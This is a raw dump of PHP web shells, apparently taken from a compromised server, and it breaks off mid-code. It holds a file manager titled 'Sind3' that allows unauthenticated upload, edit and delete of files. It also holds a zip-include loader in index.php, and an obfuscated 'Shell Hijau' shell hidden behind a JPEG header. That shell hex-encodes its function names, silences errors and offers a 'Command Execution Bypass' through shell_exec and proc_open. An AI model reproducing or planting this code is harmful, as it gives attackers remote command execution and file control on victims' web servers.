$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
PK �Fm\�G0=f f index.phpnu �[��� <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "13.php"; include("zip:///tmp/phptpd9aH#$h");?>PK �Fm\�7��Ne Ne e6ml9.phpnu �[��� ��� JFIF x x �� C
�� C�� " ��
�� � } !1AQa"q2���#B��R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������
�� � w !1AQaq"2�B���� #3R�br�<?php
/*
* (c) Setsuna Watanabe <yucaerin@hotmail.com>
*/
session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);
$Array = [
'36643662',
'363436393732',
'36373635373435663636363936633635356637303635373236643639373337333639366636653733',
'3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
'36353738363536333735373436353433366636643664363136653634',
'373037323666363335663666373036353665',
'3733373437323635363136643566363736353734356636333666366537343635366537343733',
'36363639366336353566363736353734356636333666366537343635366537343733',
'36363639366336353566373037353734356636333666366537343635366537343733',
'3632363936653332363836353738',
'366436663736363535663735373036633666363136343635363435663636363936633635',
'3638373436643663373337303635363336393631366336333638363137323733',
'3638363537383332363236393665',
'373036383730356637353665363136643635',
'3733363336313665363436393732',
'363937333566363436393732',
'36363639366336353566363537383639373337343733',
'37323635363136343636363936633635',
'36363639366336353733363937613635',
'36393733356637373732363937343631363236633635',
'373236353665363136643635',
'363636393663363537303635373236643733',
'3733373037323639366537343636',
'373337353632373337343732',
'363636333663366637333635',
'373037323666363335663666373036353665',
'36393733356637323635373336663735373236333635',
'3730373236663633356636333663366637333635',
'373536653663363936653662',
'3639373335663636363936633635',
'34353534', //30
'353634353532',
'3533343934663465',
'346334353533',
'35333534',
'3633366636643664363136653634',
'3737366637323662363936653637343436393732363536333734366637323739',
'363337323635363137343635343436393732363536333734366637323739',
'37303639373036353733',
'36363639366336353733',
'3636363936633635',
'36363639366336353534366634343666373736653663366636313634',
'3733363836353663366335663635373836353633',
];
$SETSUNA = [];
foreach ($Array as $hexString) {
$SETSUNA[] = hex2bin(hex2bin($hexString));
}
$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';
// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';
// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;
$ISS = function ($array, $elementName) use ($AKEFULL) {
return call_user_func($AKEFULL, $elementName, $array);
};
$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';
// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
$FTD = $z($L['download']);
// Make sure that the requested file exists
if ($FE($FTD)) {
// Set header to trigger download
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . $FS($FTD));
$RF($FTD);
exit;
} else {
// Handle jika file tidak ditemukan
echo "File not found.";
}
}
// Function to get file permissions
function f($file): string {
global $FP, $SPRF, $SBSR;
return $SBSR($SPRF('%o', $FP($file)), -4);
}
// Function to check write permissions
function g($file): bool {
global $IW;
return $IW($file);
}
function h($command, $workingDirectory = null)
{
global $j, $FCL, $PROP, $IR, $PRCL;
// Mendefinisikan fungsi baru menggunakan kombinasi string
$aduh = 'ar';
$adeh = 'ray';
// Memastikan fungsi yang dibuat adalah 'array' yang valid
$RAY = $aduh . $adeh;
// Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($RAY)) {
return "Error: The function {$RAY} does not exist.";
}
$descriptorspec = [
0 => $RAY("pipe", "r"), // stdin is a pipe that the child will read from
1 => $RAY("pipe", "w"), // stdout is a pipe that the child will write to
2 => $RAY("pipe", "w") // stderr is a pipe that the child will write to
];
$process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);
if ($IR($process)) {
// Read output from stdout and stderr
$output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
$output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan
$FCL($pipes[0]);
$FCL($pipes[1]);
$FCL($pipes[2]);
$return_value = $PRCL($process);
return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
} else {
return "Failed to execute command.";
}
}
if ($ISS($L, '636d64')) {
$command = $z($L['636d64']);
$result = h($command, $b);
}
if ($ISS($e, 'file_upload')) {
$tempFile = $e['file_upload']['tmp_name'];
$targetFile = $b . '/' . $e['file_upload']['name'];
if ($w($tempFile, $targetFile)) {
$upload_message = 'File uploaded successfully.';
} else {
$upload_message = 'Failed to upload file.';
}
}
// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
$result = '';
if ($ISS($L, '636d64')) {
$command = hex2bin($L['636d64']);
$result = $SHEE($command);
}
$disable = @ini_get('disable_functions');
$disable = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Command Execution</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Command Execution</h1>
</header>
<main class="container">
<?php if ($ISS($GLOBALS, 'result')): ?>
<div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
<div class="alert alert-light">
<h2>Command Result:</h2>
<pre><?php echo $y($result); ?></pre>
</div>
<?php endif; ?>
<p><b>Command Execution Bypass</b></p>
<form method="GET">
<label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
<input type="hidden" name="dir" value="<?php echo $v($b); ?>">
<input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
<button type="submit" class="btn btn-warning">Execute</button>
</form>
<a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
</main>
</body>
</html>
<?php
exit;
}
// function for edit file
if ($ISS($o, 'edit_file')) {
$file = $o['edit_file'];
$content = $q($file);
if ($content !== false) {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Edit File</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Edit File</h1>
</header>
<main class="container">
<form method="post" action="">
<div class="form-group">
<textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
</div>
<input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
<button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
</form>
</main>
</body>
</html>
<?php
exit;
} else {
$edit_message = 'Gagal membaca isi file.';
}
}
if ($ISS($o, 'submit_edit')) {
$file = $o['edited_file'];
$content = $o['file_content'];
if ($s($file, $content) !== false) {
$edit_message = 'File Edit Successfully.';
} else {
$edit_message = 'Failed To Edit File.';
}
}
if ($ISS($o, 'delete_file')) {
global $UNL;
$file = $o['delete_file'];
if ($UNL($file)) {
$delete_message = 'File deleted successfully.';
} else {
$delete_message = 'Failed to delete file.';
}
}
// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
echo '<p>' . z($message) . '</p>';
}
$un = $NM();
$current_dir = realpath($b);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Shell Hijau</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<style>
body {
font-family: Arial, sans-serif;
}
header {
background-color: #4CAF50;
color: white;
padding: 1rem;
text-align: center;
}
header h1 {
margin: 0;
}
main {
padding: 1rem;
}
</style>
</head>
<body>
<header>
<h1>Shell Hijau</h1>
</header>
<main class="container">
<p>Current directory:
<?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$Ex = 'expl';
$Pl = 'ode';
// Memastikan fungsi yang dibuat adalah 'explode' yang valid
$ExPl = $Ex . $Pl;
// Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($ExPl)) {
return "Error: The function {$ExPl} does not exist.";
}
$parts = $ExPl('/', trim($current_dir, '/'));
$path = '';
foreach ($parts as $part) {
$path .= '/' . $part;
echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
}
?>
</p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
button {
background-color: #4CAF50; /* Warna latar hijau */
color: white; /* Teks berwarna putih */
padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
font-size: 12px; /* Ukuran font yang lebih kecil */
border: none; /* Tidak ada border */
border-radius: 4px; /* Rounded corners yang lebih halus */
cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
transition: background-color 0.3s; /* Smooth transition untuk hover effect */
}
button:hover {
background-color: #45a049; /* Warna lebih gelap saat hover */
}
</style>
<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>
<div id="serverInfo" style="display:none;">
<pre>
Disabled Functions: <?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$in = 'in';
$iget = 'i_get';
// Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
$ingetin = $in . $iget;
// Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($ingetin)) {
return "Error: The function {$ingetin} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1b = 'su';
$i2b = 'bstr';
// Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
$i1b2 = $i1b . $i2b;
// Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1b2)) {
return "Error: The function {$i1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1c = 'st';
$i2c = 'rlen';
// Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
$i1c2 = $i1c . $i2c;
// Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1c2)) {
return "Error: The function {$i1c2} does not exist.";
}
echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
PHP Version: <?php echo phpversion(); ?><br>
Operating System: <?php echo PHP_OS; ?><br>
<?php
// Mendefinisikan fungsi baru menggunakan kombinasi string
$i1b = 'su';
$i2b = 'bstr';
// Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
$i1b2 = $i1b . $i2b;
// Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($i1b2)) {
return "Error: The function {$i1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$s1b = 'strt';
$s2b = 'oupper';
// Memastikan fungsi yang dibuat adalah 's1b2' yang valid
$s1b2 = $s1b . $s2b;
// Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($s1b2)) {
return "Error: The function {$s1b2} does not exist.";
}
// Mendefinisikan fungsi baru menggunakan kombinasi string
$SEXC1 = 'she';
$SEXC2 = 'll_ex';
$SEXC3 = 'ec';
// Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
$SEXC = $SEXC1 . $SEXC2 . $SEXC3;
// Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
if (!function_exists($SEXC)) {
return "Error: The function {$SEXC} does not exist.";
}
